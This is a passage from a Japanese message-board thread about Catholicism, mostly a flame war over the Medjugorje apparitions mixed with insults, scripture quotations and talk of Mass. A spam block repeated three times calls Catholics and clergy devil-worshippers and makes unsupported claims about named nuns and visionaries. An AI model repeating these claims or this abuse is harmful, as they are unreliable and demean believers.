それなら、イスラム圏へいって暖をとるためにコーランを燃やしてみい。
できんだろか。藁

>>391
イスラム圏は暖かいからねぇ〜（藁

>>391
阿呆が詭弁を弄してる。
キリスト教徒と聖書の話のはずだが？

>>392
やだね〜
無知は怖いね〜
夜はかなり冷えますが何か?（ｗ

>>394
マジレスしてる...

>>395
ははははははははは！！
無知を隠そうとしたって無駄。もう無知であるのはばれておる。
幼稚園からやりなおしたら？藁

>>396
そう言う君は幼稚だねぇ。

コーランがどうとかってぬかしてた詭弁家は消えたのか？

おっ？？

４００かぁ？？

>>397
必死だなあ。
あんたの知性は年少さん？＞３９７

>>401
まあ、本当の知性ってものは、馬鹿には判らないものだからね。
誰もあんたを責めはしないさ。
無知の知ってね。

『神の言葉』と『神の言葉を書いた物』を混同してはイケマセンね。
後者は、あくまでも『物』です。

>>403
しかし、現実に「神の言葉」を運ぶ「物」として機能しているのに、
あからさまに不敬となるようなことを働くのはどうかと。
王様の伝令は王様ご本人ではないから殺しても失礼にならないと
言っているようなもので。

>>363
▼悪魔払いについて
難しいですね。。
リベラル支配の日本のカトリック教会では
ほとんどのところで「迷信」扱いされて
まともにとりあってもらえないように思えます。
・・だからといって下手な霊能者に頼るのは危険です。

聖霊派のプロテスタント教会の牧師に相談してみるとかはどうでしょうか？？

メジュゴリエの聖母を悪魔と断罪する自称カトリックに謝罪を要求する。

１、メジュゴリエの聖母の世界的運動を進めているシスター・エマヌエルが
悪魔に憑かれていることを証明せよ。
http://www.childrenofmedjugorje.com/medj/John%20Paul's%20Encounter.htm

２、シスターが本にまとめた教皇様のメジュゴリエに対する推奨の言葉の
数々をあなた方は｢推進者の嘘｣であると言う。嘘であることを証明せよ。
http://www.aracnet.com/~cfpw/what_does_the_church_say_about_medjugorje_.html

３、ナヴァロ・ヴァルス、バチカン報道官がメジュゴリエへの司祭付き
巡礼をバチカンが承認していると発表しているにもかかわらず、
メジュゴリエの聖母を悪魔呼ばわりすることは、聖座の判断を冒涜する
ことである。これについて謝罪を求める。
http://www.medjugorje.org/cns.htm

●メジュゴリエ賛成派によればメジュを信じない人は、
　地獄に堕ちるそうです。（ニセ出現の決まり文句です）

●他の宗教も尊敬しろと要求するメジュのニセ聖母。

●「全ての宗教は等しく、同じようなものである」
　 と反キリスト的なことを言うメジュのニセ聖母。

●不純な神父を潔白だと擁護するメジュのニセ聖母。

●出現を認めない司教に対し「認めないと天罰が下る」
　と脅すメジュのニセ聖母。

●分裂と混乱をもたらすメジュのニセ聖母。

●メジュのニセ聖母の予言は未だに一つも成就せず。

●メジュのニセ聖母に癒しが約束された病人は全員死亡。

●幼い子供に週に三日断食し、一日四時間祈れと
　むちゃくちゃなことを要求するメジュのニセ聖母。

　　 .＿＿
　　J＿†_|　　　／￣￣￣￣￣￣￣￣￣￣￣￣
　　 (,,ﾟДﾟ)　＜　 やむをえないなら、聖書は焼いてよし！
　　ﾊ￣￣`つ　|　　書物自体を崇拝するのは、偶像崇拝だから、むしろだめ。
　　し　╋｜　　＼＿＿＿＿＿＿＿＿＿＿＿＿
　　 |＿_＿|
　　 ∪ ∪

406に悪魔払いしてやれ

age

悪魔払いしてやれ

さあ、メジュゴリエを語ろう！

もういいよ。

そうかな。メジュスレ読んでて、
これこそ、現代カトリック教会の縮図であると確信したけど。

ふらも罪なことをする。

メジュゴリエ・スレ第２弾できたようだ
http://life.2ch.net/test/read.cgi/psy/1035641587/l50

メジュ話はあっちでやれ
カトスレでは迷惑

人の子よ、イスラエルの家に言いなさい。
お前たちはこう言っている。
『我々の背きと過ちは我々の上にあり、我々はやせ衰える。どうして生きることができようか』と。
彼らに言いなさい。
わたしは生きている、と主なる神は言われる。
わたしは悪人が死ぬのを喜ばない。
むしろ、悪人がその道から立ち帰って生きることを喜ぶ。
立ち帰れ、立ち帰れ、お前たちの悪しき道から。
イスラエルよ、どうしてお前たちは死んでよいだろうか。

人の子よ、あなたの同胞に言いなさい。
正しい人の正しさも、彼が背くときには、自分を救うことができない。
また、悪人の悪も、彼がその悪から立ち帰るときには、自分をつまずかせることはない。
正しい人でも、過ちを犯すときには、その正しさによって生きることはできない。
正しい人に向かって、わたしが、『お前は必ず生きる』と言ったとしても、もし彼が自分自身の正しさに頼って不正を行うなら、彼のすべての正しさは思い起こされることがなく、彼の行う不正のゆえに彼は死ぬ。
また、悪人に向かって、わたしが、『お前は必ず死ぬ』と言ったとしても、もし彼がその過ちから立ち帰って正義と恵みの業を行うなら、すなわち、その悪人が質物を返し、奪ったものを償い、命の掟に従って歩き、不正を行わないなら、彼は必ず生きる。
死ぬことはない。

>>417

おまえが作ったんだろ。

その手にはのらんよ。

勝手に自慰をしてろ。ｗ

>>420＜メジュフェチ＞ハケーン（藁

さあ、カトリックの縮図、メジュゴリエ問題を
是非このスレッドで、とことん語り合いましょう。

彼の犯したすべての過ちは思い起こされず、正義と恵みの業を行った者は必ず生きる。
それなのに、あなたの同胞は言っている。
『主の道は正しくない』と。
しかし正しくないのは彼らの道である。
正しい人でも、正しさから離れて不正を行うなら、その不正のゆえに彼は死ぬ。
また、悪人でも、悪から離れて正義と恵みの業を行うなら、それゆえに彼は生きる。
それなのに、お前たちは言っている。
『主の道は正しくない』と。
イスラエルの家よ、わたしは人をそれぞれの道に従って裁く。

明日は主日です。
皆さん今夜はもうお休みになり、
朝のミサへ行きましょう。

>>422もういいよ。疲れたよ。
でも、一言だけ。メジュゴリエは闇の中にともされた灯りかも。
街灯の光に蛾や虫がたくさん集まってくるように、
宗教的な害虫が聖母の光に集まってくるのだろう。
以上、私の感想。

おやすみなさい。

>>417

勝手にやってれば？
罵倒はみな自分自身に返ってくるんだから、
自分のスレで墓掘りしてればいいんじゃない？
人を巻き込まないで、自作自演してなよ。

>>427作用反作用の法則ですな。
ﾜﾗ

>>417
巻いた種は自分で刈りとりなさい。byジーザス

>>429俺さんが彼らの相手をしてくれるだろうヨ。Ｗ

当たらしいパターンですね。（ｗ

ささ、カトリックの縮図、メジュゴリエの問題を語りあいましょう。夜を徹して議論しようではないか！

メジュゴリエの聖母を悪魔と断罪する自称カトリックに。

１、メジュゴリエの聖母の世界的運動を進めているシスター・エマヌエルが
悪魔に憑かれていることを証明せよ。
http://www.childrenofmedjugorje.com/medj/John%20Paul's%20Encounter.htm

２、シスターが本にまとめた教皇様のメジュゴリエに対する推奨の言葉の
数々をあなた方は｢推進者の嘘｣であると言う。嘘であることを証明せよ。
http://www.aracnet.com/~cfpw/what_does_the_church_say_about_medjugorje_.html

３、ナヴァロ・ヴァルス、バチカン報道官がメジュゴリエへの司祭付き
巡礼をバチカンが承認していると発表しているにもかかわらず、
メジュゴリエの聖母を悪魔呼ばわりすることは、聖座の判断を冒涜する
ことである。これについて謝罪を求める。
http://www.medjugorje.org/cns.htm

>>432

ひつこいよ。モウ食い飽きた。
ナヴァロ・ヴァルス声明をダウンロードしたから、
モウ十分。これいじょう語ることナし！

>>４３３
こら、私の訳したものを勝手にコピペしては困る。
もうそれはいいだろう。
反対派と同レベルに落ちるから、止めておきなさい。

同じレベルです。端から見てると>>435

>>435
なんだ、あなたじゃなかったの？

メジュゴリエは人気があるんだねえ。

>>437
私は訳したものを2度しかコピペしていない。
他は別人がやっているみたいだね。

早く謝罪しろ！　ゴラァ

>>439
シスター・ブリージを見直し始めたよ。
ナヴァロ・ヴァルス長官とシスター・エマヌエルの
翻訳資料を読ませてもらってから。

感謝。

カトリックのお坊さんって！ちょっと衣装が派手過ぎなぁ〜い？
紅白歌合戦で、ポスト小林幸子狙ってるのかしらん？ヾ（￣ー￣）
私もー！２ちゃんのマドンナですが(°σ °)ほじほじ...
でもでもでもでもぉ！！もーちっと質素にしてもらいたいもすネ！
千代田区の一等地に、デッカイ教会固定資産税抜きなんだから（｀´ﾒ）

>>440≫ゴラァ

ゴルァ　のミスだろ。

444

ゴラァ

ミスです。スマン

カトスレでメジュゴリエの件はやめて欲しいです。
正直うんざり。
メジュゴリエに悪いイメ−ジが感じられるだけです。
自分の思いを訴えたければ別スレ立てて下さい。

>>442　何ですかそれは？

ゴラァ

>>447　スレ立て管理もめんどい言う根性なしに何
　　　 言うても同じ。




　　　所詮、負け犬の遠吠え

　　　　　£
　／⌒/⌒'⌒丶
│││(,,ﾟДﾟ)::│　＜南瓜は好きですか？
││::（ﾉ ;;;;;;;:つ:|
　ﾞ:､..,,,ゝ__;;;;;;ノノ
　　　　 ∪∪

　　　　　　　　 　　　Ｘ
　　　　　　　　 .┌┐
　　　　　　　　／ /
　　　　　　.／　/ i∩
　　　　　　|　 /ﾟUﾟ|丿
　　　　 〜（｀　二⊃
　　　　　　|　 i　　i
　　　　　　＼_ヽ＿,ゝ
　　　　　　　 UU
　　　　　+激しくバナナ＋

　　　　　　　　 .┌┐
　　　　　　　　／ /
　　　　　　.／　/ i 　　　ｺﾞｿｺﾞｿ
　　　　　　|　,,/ﾟUﾟ)ヽ　
　　　　　　|（,, 　　O ))ヽ
　　　　　　|　 i　　i ,,／'
　　　　　　＼_ヽ＿,ゝ
　　　　　　　 U" U

　　　　　　　　┌┐ 　　　　　　　　　　　　　　 ,iヽ　
　　　　　　　 ／ /. 　　　　　　　　　　　　　　 /`,: )　
　　　　　　／　/ i, 　　　　　　　　　　　　　　/ ;' :/
　　　　　　|　 /　 `､　　　　　　　　　　　　 (Uﾟ,,)=）　　　
　　　　　　|　i　　!　 i.　 　　　　　　　　　　/ ;':::/）
　　　　　/;|　i　　i ,ヽヽ、　　　　　　　　　 '::,'／:|
　　　 ／,,へ_ヽ＿,ゝ ＼_,)　　　　　　　　 'ｰ'U U
　　　￣　　　

　
　　　　　　　　┌┐ 　　　　　　　　　　　　　　 ,iヽ　
　　　　　　　 ／ /. 　　　　　　　　　　　　　　 /`,: )　
　　　　　　／　/ i, 　　　　　　　　　　　　　　/ ;' :/
　　　　　　|　 /　 `､　　　　　　　　　　　　 (ﾟДﾟ )　　ﾌｩ
　　　　　　|　i　　!　 i.　 　　　　　　( :::;彡 / ;':::/つ　　　　ヽ,
　　　　　/;|　i　　i ,ヽヽ、　　　　　　　　　 '::,'／:|　　〜（ ﾟUﾟ）
　　　 ／,,へ_ヽ＿,ゝ ＼_,)　　　　　　　　 'ｰ'U U
　　　￣　　　

>>447そうです。私もそう思います。こうなったのも、
反対派の悪質なデマのせいです。彼らのデマをただすために、
ナヴァロ・ヴァルス師の報道を翻訳して、
掲載せざるを得なくなったのです。
私は任務を果たしたのですから、もうしませんが、
>>43のように他の者がコピペしてしまうかもしれません。
ネットですから、これはやむをえないでしょうね。

>>43のように　→>>437のように

げらげら。

>>450
ﾜﾗﾀ

みたとこメジュ派は２人程度みたいだもんな（爆
ノンポリに嫌われてる自覚がない．．．．．スレのたてかた誰かおしえてやれよ。
すばらしい巡礼地メジュ、なんてどう？

　　　 ,,　 ,,, ,,
　　 ;!;;i!'',,,i!,;;i!;
　　　!i!;,,i!;'i,,i!,　
　　　　ヽｌｌ/
　　　 ／⌒＼
　　　i 　(,,ﾟДﾟ)　　＜ 株を食え。
　　　'i　　つ iつ
　　　 ､　 　ノ
　　　 ﾉU"U

　　　　 　 _,.イ~i〜
　　 　 ／　､ ;}
　　　 /､ ( ﾟДﾟ)　＜ 芋は好きですか？
　　　 |;（ﾉ　､､i）
　　　/､､　､;､/
　､_,ﾉ,＿UシU

>>456ﾃﾞﾃｲｹ､QP!

>>462Why?

>>459
二人だけで徹夜して頑張っちゃったようですね。（ｗ
日本では、きわめてマイナーな出現ですから
出現マニア以外、メジュのことは誰も知らないでしょう。

げらげら。

もういいんだよ
メジュゴリエの話は

>>462 What is meant by QP! ?

>>467
いいからイネ、まけイヌ！

>>467を見ろよ！
負け犬どもはカトスレのことを何にも分かっちゃいない。

メジュ・コンプレックス障害の人は、攻撃スレに引き篭もってください。

>>470
なあ、いいかげん自覚しろよＱＰ！
あんたが地球の中心じゃないんだよ。

ちなみに、私は、
メジュ第2スレッドも見る気もしないので、開いてもいません。笑

>>471

フランチェスコさんの名前をなぜ使ったの？

>>472

私からもお願いします。
カトスレに来ないでください。

ふらがいい迷惑をして、昨晩嘆いていたさ。

カトスレをメジュゴリエ論争から守ろう！
みんな助けてくれ！

また俺さんですか?

>>472
もう、このスレに来んな！

ここに来るも来ないも私の自由です。
誰のスレだと思ってるのですか。
独占するなら、削除対象になります。
>>474

何でもかんでも俺さんのせいにすんな＞477

>>473
なあ、自分の考えと合わないからって他人に迷惑を掛けるなよ！
カトスレでメジュの話はうんざりなんだよ！
いいかげん分かってくれよ！

また、メジュゴリエ問題がカトリックの重要なテーマであるからには、
かりに私が発言しなくても、だれかが発言するでしょう。

>>479
そりゃ自由だろうさ。
しかし漏れからみりゃ、反対派と同じ穴のムジナだね。

>>482
じゃあ止めろ。
それだけで漏れは言うことはない。

>>473
もう、このスレに来んな！

俺さんハケーン。

>>482
もう、このスレに来んな！ って言ってるだろう！

>>482

全然重要ではありません。
つーか誰も知らない。

まるで、ここの住人はヤクザですねえ。
ファチマさんのことヤクザだなんて言えないですねえ。笑

ファチマさんですか？

メジュゴリエがどんなとこなのか全然知りませんし関心もないです。

メジュゴリエが嫌いじゃなくて、メジュゴリエの話題でふっかける人達が大嫌いです。
反対派の方が、別スレでごねてるから好感が持てます。

ファチマさんですか？>>489

あなた方は、ひろゆきさんの2chを乱用し過ぎですよ。
無数にスレ立てて、使わずに放置する。
資源の無駄づかいはやめましょう。
無駄をなくしましょう。生活に無駄がおおいのではないのですか？
信仰生活がしっかりしてる人は無駄なことをしないものです。

うんちが漏れそうです。
トイレに行っていいですか？

私はファさんではありません。
ファさんのスレを最初から最後までロムってた者です。

>>493
だからさ、マジで分かってくれよ。
漏れは反対派でもなんでもないんだよ。
辛いんなら一人で祈れよ！

まだ、第2スレが上がってるようですね。私は1度も開いていませんよ。
罵倒はすべて自分に返ってくることをお忘れなく。

メジュ好きは負け犬みないだね（藁

>>439　レスになる話題しろよ。それこそ資源の無駄づかいだ。

500

496は支離滅裂ですねえ。祈るべきはあなたの方でしょうねえ。爆

>>439さん
あなた哀れです、ホントに。

そろそろ、寝た方がよいのではないですか？ミサに遅れますよ。私は休むとしよう。

>>497

はあ（ため息
みんながメジュゴリエにいい印象を持って欲しいと思ってるのなら、もう書くな！

嫌われメジュっ子世にはばかる

メジュのひとって、他人の迷惑なんかこれっぽちも考えないのね。

ファは確か、メジュには批判的だったぞ。
439はファじゃないだろう。

>>506
恋は盲目と申しますが、狂信は盲目なのです。

メジュゴリエって賛成派も反対派も、どうしてカトに迷惑かけるのかな？

英語がすらすら読める人が羨ましいな。
俺も外国のホムペを読破したいよ。

>>507
そう言えばそうだな。

497を読むと、
自分以外の世の中すべてが攻撃してる、って誤解してるんだろう。
被害妄想もここまで来ると病気だよ。

ファは、良識がありました。
その点が好感が持てます。

>>512病気はあなたね。

>>514は497ですか？

>>514
ああ、はいはい。

誰か、何か明るい話題はないのか？

>>515
497はおまえだろ。

>>514
ちょっとどうかと思うぞ、メジュに無関心なだけで病気扱いされるのか？

>>516明るいのはあんたの禿頭ね。ぷ

>>512

497は自分の周囲に壁をつくって、罪非難自分にかかるものなら
いつでもどうぞ、という冷めきったプライドがにじみ出てるね。
こんな奴はどこでも行ってもらって結構。スレ汚しの典型。

メジュゴリエ狂は、良識がありません。
その点が好感が持てません。

>>518茶化されてることを知れ

おまいらバカだナー。
ﾌｧにおちょくられてるのも知らんで。(プ)

>>520

さんくす！
でも、メジュのヤシを非難するのは止めようよ。
巻き込まれるのはごめんだ。

結局,反メジュ派がメジュゴリエの話題で
カトスレに迷惑をかけているんじゃね！
自分が見られん様だな、こいつ等。W

>>525

なんか別の話題を提供してくれよ！

　メジュの話題は止めてくださいと言ってるのがわかりませんか！
反対派も出て行ってください！

>>525は、497です。
みっともないですね。ｗ

>>528オマエガナー

>>527-528

キリがないからメジュ放置で頑張らないか、みんな！

>>527

分かってネーな、オメーは。ﾊﾞｶか？
メジュ反対派がここのスレ主であり、住人なんだよ！アフォ！
で直して来い！

>>528は497だそうです。

（おまいらバカだナー。
ﾌｧにおちょくられてるのも知らんで。ﾌﾟﾌﾟ)

>>531
そうだよ。
だからメジュスレが盛んだった時は、
このスレ沈んでいたでしょう？

>>532

分かってネーな、オメーは。ﾊﾞｶか？
メジュ反対派がここのスレ主であり、住人なんだよ！アフォ！
で直して来い！

（泣

なあ、みんな！
メジュ以外で頑張ろうよ！
頼むから！

>>536
もう寝た方が良いよ。

>>535
そうだよ。
だからメジュスレが盛んだった時は、
このスレ沈んでいたでしょう？

>>531、534
ハァ？？
そうなの？
ショックー^^;

>>539
このスレは、俺さん対反メジュ派のスレなのです。
たまに朝方、名無したんが来ます。

>>537

分かった。
漏れはもう寝るよ。（泣

>>539
わかった？初心者君。
だから、勘違いしないようにね。
カトリックと書いてあればカトリック、
とは限らないのよ。

>>541
おやすみ（／＿・）／

>>542　わかりました。
だからカトリックと書いてあっても
メジュゴリエを賞賛するのですね。

　≫539

所詮、2ﾁｬﾝにロムするような連中はﾛｸなカトじゃねえよ。
マジカトガたまに勘違いして紛れ込み、勘違いすれをたてることもある。
が、少しして馬鹿馬鹿しい事をしてることに気づくと、
さっさとスレをおさらばするもんね。

ﾌｧとか汁とかも

サムソンにそろそろ一筆、冒頭注意書きを入れるよう
申し出たほうがいいかもしれんな。

場所はＬＰ注意書きと並んで書くといいかもしれない。

内容はこんなのでどうだ？
「最近、教会から出現の公認を認められていないメジ
ュゴリエ派の一部マリアニストが、あたかも自分たち
の意見が通らないと、既に教会から公認を得たかのよ
うな悪質かつ特定の個人を誹謗中傷したコピペをして
困っています」

どうだ？

>>547逆効果だろうな

>>547、8おまえら明日のミサにいかないつもり？本当にカト？

>>547
賛成です。

524のような良心的な感じの人が去らなくてはならないのは、オカシイと思います。

>>547

逆に荒れるだろうヨ。煽るだけ。無視が一番。

>>547
それでいいよ、賛成。

>>547 私も賛成です。

自作自演キツーイ！！

反対派の意見が集まると


自作自演キツーイ！！



だって。

自作自演ではないのは神がよくご存知。
全てを見ておられるから。

おやすみ。

ああ？をれが旅行してるまにえらいスレが進んだな。
しかも偽物がいるし、ナニがあったんだ？？？？

今度はメジュ問題かよ。

正直、メジュなんてどーでもいいんだが。

秋田のマリア同様、興味もないんだが、
そういうことをいってると、
ファティマも電波呼ばわりしたとか言われて
また怒られるだろーな。

流石にこの時間はみんな明日のミサに備えて寝てるんだろうな。

>>558>しかも偽物がいるし

ははは、誤魔化すのがヘタだな。

>>562
マジによく分からんのだが、ナニがあった？

ふら。
メジュ反対すレ1を開いただろ？

旅行って、メジュ反対スレ旅行か？

>>564
「メジュ反対スレ」ってナニ？

最後にここに来たのは、バケちゃんとゼニスの話題をした時なんだが。

このスレッド立てて旅行へ行ったのか？>>ふら

http://life.2ch.net/test/read.cgi/psy/1035538297/l50

仕事で国内だ>>565

ふらんちぇすこ がんばれ。

悪魔払いの人はどうしたのかな？

>>567
おー。さんくす。
そのスレ>>1のど阿呆は誰だよ。
まー騙りたいんなら、このハンドルくれてやってもいいが、
メジュでなんで結局もめてんだ？

ここで昨晩書いた
>>314―≫323
は、ふらさんじゃないの？

>>572
それは、メジュ賛成派の自作自演だよ。

>>571なんだ。別人か。HN詐称かよ。
きたねーな。

>>572
違うよ。つか、さっき帰ってきた。
メジュ反対スレを今から読みに行ってみるな。

>>573

はあ？何がなんだか...もー!

それにしても>>314-323のふらんちぇすこは、
ふらんちぇすこのまねがうまいな！

>>573s

偽ふらは、賛成派なんですか?
彼がふらさんでないとしても、
彼のおかげで、このスレッドは昨夜、マターリと平和になった。
反対派とはえらい違いだな…

はー。今、途中まで読んだけど、延々おんなじ事の繰り返しで飽きた。
>>578
賛成も反対もよく分かんないよ。正直、興味がないんだが。
つか、あのスレ立てたヤシはフランシスコ会絡みという一点だけで
をれの名前使ったんかな？

100年も経てば結論が出るだろう。

>>579
そうでしょうな。
多分たてたヤシは賛成派でも反対派でもないでしょ。
お互いの論争を楽しみたかったのでは？

>>579

よかった。ふらさんが来てくれて。じゃ、昨夜のフラさんは偽者だったんだ!

げらげら>>580

６７がDAT落ちしてるんで結局、経緯がよく判らん。

メジュより、拉致とロシア劇場乗っ取りのほうが関心あるんだが。
あと新ロザリオ玄義な。

>>584

67は、始めから終わりまでメジュ論争。
メジュだけで一日に1000いったんだよ。

>>581
随分前から、カトスレ周辺で論争煽りを繰り返すヤシがいるからね。
そういうのの仕業かもしれん。
>>582
まー。なんでもいいよ。
ふらんちぇすこなんてコテハンも「名無しさん」と一緒ってこった。

>>585
最近はカトスレも昔のオアシススレ並になってきたな。
オアシスの方がまたーりしてる。

ふらさんはもうねるんでしょう?
僕はさっき起きたとこで、今日はねらんないな。

正直、メジュやら秋田やら、聖母絡みのネタはよく判らん。
ルルド、ファチマと、そういうのは近代以降に生じた新しい現象だな。
もっと前の時代にそういうの絡みで聖地になったのあったのかな？

>>588
をれもなんとなく寝れなくてここにいるんだな。
眠剤飲むと怒られるからな。

>>579 マリアさんの書き込みなんだけど、どう思う?

>442そうね、視幻者はみな、出現に合ったとしても、メッセージは
その人の意識のフィルターを通って人間の言語に移し変えられるもの。
だから,完璧と言う訳にはなかなか行かないでしょうね。
人間のミスも混入する可能性があるわけよ。
でも、白黒で判決したがる西洋の精神構造に支配されているのが、
教会の男性社会なのよ。女はそういうことはない。
でも教会の神職は男性ばかりだからね、悪魔か、神かのどっちかに
したがるわけね。
神道なら、巫女の存在が昔から大切にされているからそんなことはない
のだけれどもね。
メジュゴリエについていえば、本当だと思うわよ。
子供たちは、聖簿と信じる存在に出会い,啓示を受けているのでしょう。
日本人の方が理解しやすいのではないかしら。
地中海も日本も、先住文化の遺伝子は共通する部分があるからね。
巫女の性質というのは先住民が受け継いでいる古い性質よ。
教会の頭でっかちの神学者にはなかなか理解できないでしょう。

これもマリアさんの

>>452いえいえ、巫女がうけるものは原始的な神の原型なのよ。
荒削りな啓示。
それを神学者がフィルターして、これまでの教会が成立できていたわけよ。
ところが、最近は政策的な利害関係が入り込んで、
ややこしくなってきてるのね。
だから、テレジアのときのようにはすんなりいかないってことよ。
巫女を大事にしないと教会危ないわよ。

メジュゴリエについて言えば、中心は清らか、
周辺に、欲得三昧の烏合の衆が集まって,
乱痴気騒ぎを起こしてるって感じかしらね。
バチカンと同じよ。ｗ

＞591-592
相手に出来ないってさ。

>>591
どういう経緯でその発言が行われたか？にもよるだろうが。
正直、マリアさんがナニ言ってるのかよー判らん。
聖母は本来男性原理の社会が生み出したものだと思うがね。
女性の場合、直にイエスと対話する。聖女はイエスとの出会いを求める傾向にある。
聖母は彼女ら自身と重なる存在。
聖母の啓示を受けたのは寧ろ修道僧だったりしたわけなんだが。

正直、近代以降の聖母出現はヒステリカルな印象も否めない。
教会の危機の裏返しなんだとは思うが。

>>593
ヤフーのトピ観察に行ってたんだよ。

ゼニスもお元気なようで何よりです。

>>596
ゼニス君に返事を書かないといかんと思うんだが、
今日はその元気が出ない。
バケちゃんは元気だなあ。

>>594

from

http://life.2ch.net/test/read.cgi/psy/1035538297/l50

伝承でよく「マリアが現れ、教えてくれた」というものはあるが、
（例えば、聖ドミニコとロザリオの玄義）こういうのを巡って
喧々諤々な論争というのはあったんだろうか？
つか、伝承の場合、方便として聖母の名を使ってたとも思えるんだが。

聖座はどういう判断を下すんだろうか？

をれは反対でも積極的賛成でもない。情報は一方的だし、
結局その場に行ってみるしかない。

ただ、民衆の欲求というのはなにかを示唆するものだとは思うね。
マリアの預言や奇跡を求めるということが要求される時代というのは
逆に奇跡や神秘がないがしろにされている傾向が生み出す反動かもしれないな。

ふらさんは洞察が深いですね。有難う。これもマリアさんのレスです。

458 ：名無しさん＠１周年 ：02/10/26 04:46
メジュの幻視者をお祓いし、幻視が止まれば悪魔の仕業というのはどういうことなのですか？

465 ：マリア ：02/10/26 04:51
>>458ああ、あれは姉が言ったこと。あたしは妹よ。
姉が言ったことを翻訳すると、こういうことになるかしらね。
御祓いもピンきりなのだけれどもね、姉が言ったのは、恐らく、
カトリックで最も優れた祓魔師を、
司教レベルで複数呼んで、御祓いするってことじゃないかしら。
あなた方のほうが詳しいでしょう。それで片がつくはずよ。

あらあら、あたしのレスのコピペ?
アリガト

>>601
悪魔の仕業なのかどうかというとこは正直、断片的なものでよく判らない。

ただ言えるのは「預言」は目的ではない。「奇跡」もだ。
それがすべてではない。到達地点ではない。預言や奇跡が大切なのではなく
神が何を言わんとしているのかが大切なんだろう。
それが起きるその状況と目指すものはなんだったのか？と思うよ。
しかし「啓示」は極めて直截な言葉だ。しかしその言葉は謎めいている。だから難しい。
実際、預言的な黙示録ですら、時代によって解釈は変わる。
何世紀にも渡って残った普遍的な書の解釈ですら不完全なんだからね。
歴史的に読むヤシもいれば、これから現実に起きる事と捉えるヤシもいる。
未だ態度が一貫していない。ただ「救済に関わることだ」ということは共通する。

聖母の啓示メッセージは近代が生み出した独特のものだ。
それが伝える本当のことは結局長い時間が経ってみないと残念ながら判らないかもしれない。
個々の預言の内容に右往左往するより、それが「起きた」と言う事のみ注視したいね。

鶴見教会は独立した宗教法人らしいのだが、ほんと？？

カトリック鶴見センターは、宗教法人カトリック鶴見教会がキリスト教
の精神に基づき積極的に地域社会に貢献し福音宣教活動を行うために
貸しホール・室などを設置したものです。
http://cat-tsurumi.moo.jp/center.htm

宗教法人カトリック鶴見教会？？？？？？

おはようございます。

今日も元気に行こう！

メジュゴリエには驚いた。自治に希望を抱く者は意見を乞う。

http://life.2ch.net/test/read.cgi/psy/1035666507/l50

あー疲れた。
今日は日曜日だけど、仕事だったから
ミサにも逝けなかった。
こんな時間に遊んでるのはたぬきくらい
でしょうね。
あっちいけ。しっしっ！

　　　カトは偶像礼拝者　｢悪魔は光の天使になって現れます｣byパウロ

緑スカプラもクソ！LPの宣伝手段！ハエ！
ルドバックも悪魔！すべての悪魔礼拝の発生源！クソ！ハエ！
ラサレットもクソ!預言大外れ!修道女はアル中で死んだ!ハエ！
ドンボスコもクソ!預言大外れ。聖母は悪魔!　
ルルドも糞!　パスカルを盗作してお告げを捏造!悪魔の仕業!糞!
ファティマも糞!　預言大外れ!糞!ハエで決まり!

メジュに行って、悪魔の聖母を拝んだカトリック信徒、司教、司祭、
大司教、枢機卿は皆、悪魔礼拝者、ハエで決まり！ 肩入れする
ナバロも、パパも、悪魔礼拝者! クソ！ハエ!
聖母は悪魔！自覚するしないにかかわらず、聖母崇拝は悪魔礼拝！

秋田の聖母も糞!司教団が否定したのに、厨房伊藤が変節しやがった。
修道女は発狂して、施設に収容されたのが証拠！糞！秋田の恥部！

カトは偶像礼拝者　｢悪魔は光の天使になって現れます｣byパウロ

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ラサレットもクソ!預言大外れ!修道女はアル中で死んだ!ハエ！
ドンボスコもクソ!預言大外れ。聖母は悪魔!　
ルルドも糞!　パスカルを盗作してお告げを捏造!悪魔の仕業!糞!
ファティマも糞!　預言大外れ!糞!ハエで決まり!

メジュに行って、悪魔の聖母を拝んだカトリック信徒、司教、司祭、
大司教、枢機卿は皆、悪魔礼拝者、ハエで決まり！ 肩入れする
ナバロも、パパも、悪魔礼拝者! クソ！ハエ!
聖母は悪魔！自覚するしないにかかわらず、聖母崇拝は悪魔礼拝！

秋田の聖母も糞!司教団が否定したのに、厨房伊藤が変節しやがった。
修道女は発狂して、施設に収容されたのが証拠！糞！秋田の恥部！

たぬきが遊ぶのは夜だ。

カトは偶像礼拝者　｢悪魔は光の天使になって現れます｣byパウロ

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ラサレットもクソ!預言大外れ!修道女はアル中で死んだ!ハエ！
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ルルドも糞!　パスカルを盗作してお告げを捏造!悪魔の仕業!糞!
ファティマも糞!　預言大外れ!糞!ハエで決まり!

メジュに行って、悪魔の聖母を拝んだカトリック信徒、司教、司祭、
大司教、枢機卿は皆、悪魔礼拝者、ハエで決まり！ 肩入れする
ナバロも、パパも、悪魔礼拝者! クソ！ハエ!
聖母は悪魔！自覚するしないにかかわらず、聖母崇拝は悪魔礼拝！

秋田の聖母も糞!司教団が否定したのに、厨房伊藤が変節しやがった。
修道女は発狂して、施設に収容されたのが証拠！糞！秋田の恥部！

ニュー速板よりコピペ

朝鮮民主主義人民共和国（北朝鮮）による拉致事件で、実家の新潟県柏崎市に
滞在している蓮池薫さん（４５）方に、「拉致される方が悪い」「逃げれば
よかった」などと書かれた手紙や、無言電話がかかっていることが２７日、
分かった。

　兄の透さん（４７）が会見で明らかにした。これまで届いた手紙数十通の
ほとんどが「北朝鮮に戻らないで」「全面解決を望んでいます」などと家族
を励ます内容だが、一部に「襲われた時に逃げないのが悪い。その家族が
政府に要望するのは本末転倒だ」などと家族らを中傷する内容で、いずれも
匿名という。

　深夜や早朝などに無言電話などもあり、透さんは「あまりひどい内容の
手紙は弟に見せていない。電話番号を変えることも考えている」と、家族
が苦慮していることを明かした。（以下略）
※以上記事引用しました。全文はリンク先参照して下さい
http://www.mainichi.co.jp/news/flash/shakai/20021028k0000m040028000c.html
依頼だすhttp://news2.2ch.net/test/read.cgi/newsplus/1035339575/922

お前たち、女まじない師の子らよ
姦淫する男と　淫行の女の子孫よ
ここに近づくがよい

ＳＥＸ大王国の成就である
ＳＥＸは甘美で神がほっするもの

イザヤ書　５７-３

a

今日のミサは最前列に座ってｼﾏﾀ…（´ー｀）

>615
自分は、真ん中の列に座った。こういう普通のテーマもいいね。
他の人は？

お・・おばちゃまは、一番後ろの席だったわ。

　　
素晴らしい毎日。神に感謝

>615-617

教会には行ったが、ミサには出なかった。

素晴らしい毎日。神に感謝

主の平和!

素晴らしい毎日。神に感謝

素晴らしいお恵みを頂いた。神に感謝します。

どんなお恵みですか？
さしつかえなければ教えてたもれ

>>623
そんな素晴らしいお恵みなら分かち合ってほしいのに・・・
お手てのしわとしわをあわせてしあわせ。なーむー。ナンチテ

>>624
今度ね。

>>626
